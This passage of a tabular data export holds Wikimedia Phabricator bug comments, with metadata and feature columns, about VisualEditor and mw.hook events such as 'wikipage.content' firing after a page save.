+Why?",,,1449062407,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,126,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,1
+570460,"Add more mw.hook events for wikipage: diff, categories etc.","Change 218275 merged by jenkins-bot:
+Add a wikipage.diff hook
+
+[[https://gerrit.wikimedia.org/r/218275]]",,,1448935559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,126,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+520978,"Add more mw.hook events for wikipage: diff, categories etc.","Not mentioned yet, but IMHO makes sense, too: `#firstHeading`",,,1441362498,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,113,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+478758,"Add more mw.hook events for wikipage: diff, categories etc.","Change 219629 had a related patch set uploaded (by TheDJ):
+Add wikipage.categories and wikipage.languages hooks
+
+[[https://gerrit.wikimedia.org/r/219629]]
+",,,1434906198,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,102,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+474408,"Add more mw.hook events for wikipage: diff, categories etc.","Change 218275 had a related patch set uploaded (by TheDJ):
+Add a wikipage.diff hook
+
+[[https://gerrit.wikimedia.org/r/218275]]
+",,,1434320070,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,101,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+434220,"Add more mw.hook events for wikipage: diff, categories etc.","So, now that I'm so much further along with LivePreview, I'm pondering taking on some of these elements next. I was thinking starting with templatesUsed, hiddencats and limit report (I've selected them because they are EditPage only elements, should be a safe start).
+
+Do we still agree that this is the right approach ? Or have ideas changed over the past 2 years ?",,,1427484714,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,90,,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0
+232293,"Add more mw.hook events for wikipage: diff, categories etc.","Removing target milestone that was in the past.
+
+If you want this in a specific release, have a good reason AND you are willing to find resources to fix this bug, feel free to change it to something appropriate.",,,1403380680,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,50,,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+232286,"Add more mw.hook events for wikipage: diff, categories etc.",[Bumping TM as MediaWiki 1.22.0 tarball was released today.],,,1386383869,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1
+232279,"Add more mw.hook events for wikipage: diff, categories etc.","As the Target Milestone on this ticket has been set to 1.22.0:
+
+According to http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/072030.html ""MediaWiki 1.22 is slated for release on November 30th, at the very latest.""
+
+If this is still intended to get fixed for 1.22.0, a patch is needed soon.",,,1380208131,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,12,,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,1
+232269,"Add more mw.hook events for wikipage: diff, categories etc.","These are easy to add. Holding off until usage of ""wikipage.content"" is slightly more widespread and we have more use cases for these (e.g. will HotCat be able to use this? etc.)
+
+If you need one of these hooks, please let it know here including a brief description of how/where you'd like to use it. That'll help to shape the details of exactly where these hooks would go.",,,1374111932,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+53565,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","At the moment, the VE's refresh after save isn't a full refresh - it refreshes ""in place"", using the parsoid DOM. This isn't something things like gadgets or site JS recognise, and so the reloaded page lacks power user functionality. Save should simply refresh the page cleanly to avoid this issue.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374087720,1383478009.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_description,resolved,True,c1,3,False,False,False,2,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+255890,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save",That's because the Math extension doesn't support this yet; see bug 36060.,,,1383478009,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+255884,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Hmm... Visual editor still doesn't call MathJax after saving the page (all I see is the source code of the formulas, e.g. $ \mathbb{N} $).",,,1383474047,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,17,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+255878,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","The code of the gadget is not using the 'wikipage.content' hook introduced to fix bug 30713 (and added to VE on Gerrit Change 76751):
+https://en.wikipedia.org/wiki/MediaWiki:Gadget-popups.js
+
+I've made a request for this on its talk page:
+https://en.wikipedia.org/wiki/MediaWiki_talk:Gadget-popups.js#Use_the_.27wikipage.content.27_hook",,,1377303810,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+255870,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Javascript (or at least navigation popups) are again not working after a page is saved but do work when the page is reloaded.
+
+To test:
+1. Enable the navigation popups gadget
+2. View any page editable in VE
+3. Hover over any link to see a popup
+4. Load the page in VE and save an edit (it doesn't mater what)
+5. Hover over any link and fail to see a popup.
+6. Reload the page, hover over the link and see a popup",,,1377185317,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,7,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+255864,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save",This is now merged and will be deployed later today.,,,1375218658,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+255861,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Change 76751 merged by jenkins-bot:
+mw.ViewPageTarget: Fire 'wikipage.content' hook after saving
+
+https://gerrit.wikimedia.org/r/76751",,,1375217249,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+255857,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Change 76751 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget: Fire 'wikipage.content' hook after saving
+
+https://gerrit.wikimedia.org/r/76751",,,1375207097,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+255852,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","This hook will not fire in VisualEditor's editing mode. Nodes are protected and don't allow interaction anyway.
+
+These hooks are for enhancements. Anything that's required for display should be handled by VisualEditor's ContentEditable node implementation (e.g. including Timeline, Math, etc.).",,,1375201616,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,4,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+255848,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Change 74313 merged by jenkins-bot:
+mediawiki.page.ready: Use wikipage.content instead of domready
+
+https://gerrit.wikimedia.org/r/74313",,,1374797897,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+255843,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save",It also affects the MathJax renderer see http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Minor_redisplay_glitch,,,1374342847,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+255838,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Some cases (e.g. navigation popups) may not want to fire in editing mode.  I'm not sure if that's best done with a separate hook, or just by making the listener check the mode.",,,1374274354,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0
+255834,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","We may need this to fire when we re-render parts of the document in editing mode, e.g. you are using the Math extension with JS rendering (MathJax), or you re-render a template containing a makecollapsible.",,,1374176027,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+255829,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Change 74313 had a related patch set uploaded by Krinkle:
+mediawiki.page.ready: Use wikipage.content instead of domready
+
+https://gerrit.wikimedia.org/r/74313",,,1374111569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+255821,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","No, we should not refresh because of this. This is not a new bug, this is a known issue in mediawiki core for years with ""live preview"".
+
+The difference being that in 2013 (unlike several years ago when live preview came along) we have solved this. Recently I developed mw.hook in core with an event ""wikipage.content"". Gadgets should listen to that instead of document-ready.
+
+Refreshing for every rendering is not a solution but a work around to have the native browser document trigger ""ready"" again. The solution is to have these wikipage (not html document) related actions be bound to its ready event and be able to fire that on-demand if the wiki page has changed (e.g. due to ajax navigation, live preview or page rendering like VisualEditor).
+
+This has been solved and it is up to gadgets to start using it.
+
+I'm rephrasing this bug to instead be a task for VisualEditor to start using this event (like LivePreview does in core).",,,1374089581,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+255811,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save",*** Bug 51568 has been marked as a duplicate of this bug. ***,,,1374088447,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53548,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,"screenshot of the template edit icon in the wrong place
+
+I inserted an image into an article using the VE, then I selected the infobox on the article. Instead of appearing on the infobox like it usually would, the puzzle icon for editing the infobox template appeared on the newly-inserted image.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52547
+
+**Attached**: {F11877}",Medium,50.0,1374077760,1423881296.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ca6crnotrmabx3jkz5wk,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+411500,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,">>! In T53548#1034742, @Elitre wrote:
+> I think this is still happening. See for example https://fr.wikipedia.org/w/index.php?title=Parox%C3%A9tine&veaction=edit&vesection=10 ; the list of ""Effets secondaires détaillés"" is actually a template. The blue area when you select it looks like a cross in Chrome and Opera, with the puzzle piece icon overlapping the picture at the right.
+
+That looks like it's {T52036} alone?",,,1423881296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,True,,,84,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+410602,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,"I think this is still happening. See for example https://fr.wikipedia.org/w/index.php?title=Parox%C3%A9tine&veaction=edit&vesection=10 ; the list of ""Effets secondaires détaillés"" is actually a template. The blue area when you select it looks like a cross in Chrome and Opera, with the puzzle piece icon overlapping the picture at the right.",,,1423765790,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,False,,,84,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+254632,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,All test cases provided appear to be working now.,,,1405201255,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,True,,,53,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+254627,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,*** Bug 60652 has been marked as a duplicate of this bug. ***,,,1393455560,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254624,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,The new attachment refers to VEditing of https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61361267&oldid=61290806 .,,,1378477636,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+254619,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,"Created attachment 13252
+An icon far, far away...
+
+**Attached**: {F11878}",,,1378477567,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+53546,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,"1. Click 'Edit'
+2. Click 'Edit source' quickly before VE has loaded
+3. You are show an API error in a confirm box 'Error loading data from server: error. Would you like to retry?', both OK & cancel let you navigate to edit source.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374077220,1391025576.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_description,resolved,True,c1,3,True,False,False,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+254544,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,*** Bug 57267 has been marked as a duplicate of this bug. ***,,,1395360091,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254538,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,"\o/
+
+Thanks, Alex and Roan!",,,1391042211,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+254533,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,"Change 110108 merged by jenkins-bot:
+Stop API error dialog popping up if you navigate away from the page while Parsoid loads
+
+https://gerrit.wikimedia.org/r/110108",,,1391020997,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+254527,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,"Change 110108 had a related patch set uploaded by Alex Monk:
